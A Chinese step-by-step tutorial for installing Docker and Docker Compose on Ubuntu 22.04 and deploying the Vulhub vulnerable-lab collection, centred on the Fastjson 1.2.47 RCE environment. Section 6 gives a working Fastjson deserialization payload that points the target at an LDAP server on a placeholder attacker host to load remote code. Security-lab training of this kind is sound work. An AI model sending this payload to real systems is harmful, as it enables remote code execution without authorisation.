Ubuntu 22.04上,用Docker Compose一键部署Vulhub靶场的保姆级教程
Ubuntu 22.04上Vulhub靶场极速部署指南:从零到漏洞复现
在网络安全学习过程中,拥有一个随时可用的漏洞实验环境至关重要。Vulhub作为基于Docker的漏洞靶场集合,以其开箱即用的特性成为安全研究者的首选工具。本文将带你用最简洁高效的方式,在Ubuntu 22.04系统上完成全套环境的部署,避开新手常踩的坑,实现真正的一键式漏洞复现体验。
1. 环境准备与优化
1.1 系统基础配置
首先确保你的Ubuntu 22.04系统处于最新状态。打开终端执行以下命令:
sudo apt update && sudo apt upgrade -y sudo apt install -y curl git vim python3-pip这些基础软件包将为后续安装提供必要支持。特别提醒:
- 如果使用虚拟机环境,建议先安装VMware Tools或VirtualBox增强功能
- 国内用户可考虑替换apt源为阿里云或清华镜像加速下载
1.2 清理旧版Docker
系统中残留的旧版本Docker可能导致各种冲突。执行以下清理命令:
sudo apt remove -y docker docker-engine docker.io containerd runc sudo rm -rf /var/lib/docker sudo rm -rf /var/lib/containerd注意:第二条命令会删除所有现有Docker镜像和容器,如有需要请提前备份
2. Docker引擎安装与加速
2.1 一键安装最新Docker
使用官方安装脚本配合国内镜像源,大幅提升安装速度:
curl -fsSL https://get.docker.com | sudo sh -s -- --mirror Aliyun安装完成后验证版本:
docker --version # 预期输出:Docker version 24.0.7, build xxxxxxx2.2 配置镜像加速与开机启动
创建Docker配置文件并添加国内镜像源:
sudo mkdir -p /etc/docker sudo tee /etc/docker/daemon.json <<-'EOF' { "registry-mirrors": [ "https://docker.mirrors.ustc.edu.cn", "https://hub-mirror.c.163.com" ] } EOF启用Docker服务并设置开机自启:
sudo systemctl enable --now docker sudo systemctl restart docker验证配置是否生效:
docker info | grep Mirrors -A 23. Docker Compose安装与验证
3.1 使用pip安装最新版本
虽然Ubuntu仓库提供docker-compose,但版本通常较旧。推荐通过pip安装:
sudo pip3 install --upgrade docker-compose安装完成后检查版本:
docker-compose --version # 预期输出:docker-compose version 1.29.2, build xxxxxxx3.2 解决常见权限问题
为避免每次都要使用sudo,将当前用户加入docker组:
sudo usermod -aG docker $USER newgrp docker验证非root用户能否正常使用Docker:
docker run hello-world4. Vulhub靶场部署实战
4.1 获取Vulhub最新代码
克隆官方仓库(国内用户可考虑使用Gitee镜像):
git clone https://github.com/vulhub/vulhub.git cd vulhub如果网络不稳定,也可以直接下载ZIP包解压:
wget https://github.com/vulhub/vulhub/archive/refs/heads/master.zip unzip master.zip && mv vulhub-master vulhub4.2 启动Fastjson 1.2.47漏洞环境
进入目标漏洞目录并启动服务:
cd fastjson/1.2.47-rce docker-compose up -d检查服务状态:
docker-compose ps # 应看到fastjson服务状态为Up访问漏洞测试页面:
http://localhost:80904.3 常用管理命令
| 操作 | 命令 | 说明 |
|---|---|---|
| 启动环境 | docker-compose up -d | 后台运行 |
| 停止环境 | docker-compose down | 清理容器 |
| 查看日志 | docker-compose logs | 调试用 |
| 重建环境 | docker-compose build | 修改配置后 |
5. 进阶配置与问题排查
5.1 端口冲突解决方案
如果默认端口被占用,可以修改docker-compose.yml中的端口映射:
ports: - "8080:8080" # 改为 "新端口:容器端口"然后重建服务:
docker-compose down && docker-compose up -d5.2 磁盘空间管理
定期清理无用镜像和容器:
docker system prune -a --volumes查看磁盘使用情况:
docker system df5.3 网络问题排查
检查容器网络连接:
docker exec -it 容器名 ping baidu.com查看Docker网络配置:
docker network inspect bridge6. 典型漏洞复现示例
以Fastjson漏洞为例,演示基本测试流程:
- 启动Burp Suite拦截请求
- 访问
http://localhost:8090 - 构造恶意JSON数据包:
POST / HTTP/1.1 Host: localhost:8090 Content-Type: application/json { "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://attacker-ip:1389/Exploit", "autoCommit":true }- 观察服务器响应,确认漏洞存在
安全提示:仅限本地测试环境使用,禁止在未授权情况下测试真实系统
7. 环境维护与更新
保持Vulhub最新状态:
cd ~/vulhub git pull origin master更新所有基础镜像:
docker-compose pull定期检查组件版本:
docker --version docker-compose --version python3 --version pip3 --version在实际教学中发现,90%的启动失败问题都源于网络连接或权限配置。建议首次部署时逐步验证每个环节,特别是Docker服务状态和容器日志输出。
